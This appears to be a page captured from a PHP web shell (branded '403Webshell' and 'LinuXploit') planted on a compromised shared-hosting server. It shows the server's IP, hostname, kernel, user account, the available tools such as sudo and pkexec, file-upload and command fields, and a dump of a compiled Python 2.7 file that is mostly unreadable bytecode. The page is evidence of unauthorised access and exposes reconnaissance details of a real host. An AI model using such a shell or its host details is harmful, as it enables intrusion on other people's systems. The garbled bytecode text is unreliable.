403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.50
Web Server : Apache
System : Linux gator2125.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /lib64/python2.7/Tools/scripts/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib64/python2.7/Tools/scripts/finddiv.pyo
�
�Sec@s}dZddlZddlZddlZddlZd�Zd�Zd�Zd�Ze	dkryej
e��ndS(s	finddiv - a grep-like tool that looks for division operators.

Usage: finddiv [-l] file_or_directory ...

For directory arguments, all files in the directory whose name ends in
.py are processed, and subdirectories are processed recursively.

This actually tokenizes the files to avoid false hits in comments or
strings literals.

By default, this prints all lines containing a / or /= operator, in
grep -n style.  With the -l option specified, it prints the filename
of files that contain at least one / or /= operator.
i����Nc	Cs�y#tjtjdd�\}}Wn!tjk
rF}t|�dSX|s[td�dSd}x>|D]6\}}|dkr�tGHdS|dkrhd}qhqhWd}x)|D]!}t||�}|p�|}q�W|S(Nitlhis&at least one file argument is requiredis-hs-l(tgetopttsystargvterrortusaget__doc__tNonetprocess(	toptstargstmsgt	listnamestotatexittfilenametx((s-/usr/lib64/python2.7/Tools/scripts/finddiv.pytmains(#



cCs[tjjdtjd|f�tjjdtjd�tjjdtjd�dS(Ns%s: %s
isUsage: %s [-l] file ...
s"Try `%s -h' for more information.
(RtstderrtwriteR(R((s-/usr/lib64/python2.7/Tools/scripts/finddiv.pyR-s!cCs�tjj|�rt||�Syt|�}Wn(tk
rY}tjjd|�dSXt	j
|j�}d}xg|D]_\}}\}}	}
}|dkry|r�|GHPn||kr�|}d|||fGq�qyqyW|j
�dS(NsCan't open: %s
it/s/=s%s:%d:%s(Rs/=(tostpathtisdirt
processdirtopentIOErrorRRRttokenizetgenerate_tokenstreadlineRtclose(RRtfpRtgtlastrowttypettokentrowtcoltendtline((s-/usr/lib64/python2.7/Tools/scripts/finddiv.pyR2s$
"c	Cs�ytj|�}Wn+tjk
r@}tjjd|�dSXg}x`|D]X}tjj||�}tjj|�j	d�s�tjj
|�rN|j|�qNqNW|jd��d}x)|D]!}t||�}|p�|}q�W|S(NsCan't list directory: %s
is.pycSs%ttjj|�tjj|��S(N(tcmpRRtnormcase(Rtb((s-/usr/lib64/python2.7/Tools/scripts/finddiv.pyt<lambda>Qs(RtlistdirRRRRRtjoinR*tendswithRtappendtsortRR(	tdirRtnamesRtfilestnametfnRR((s-/usr/lib64/python2.7/Tools/scripts/finddiv.pyRFs 
-
t__main__(RRRRRRRRRt__name__R(((s-/usr/lib64/python2.7/Tools/scripts/finddiv.pyt<module>s				

Youez - 2016 - github.com/yon3zu
LinuXploit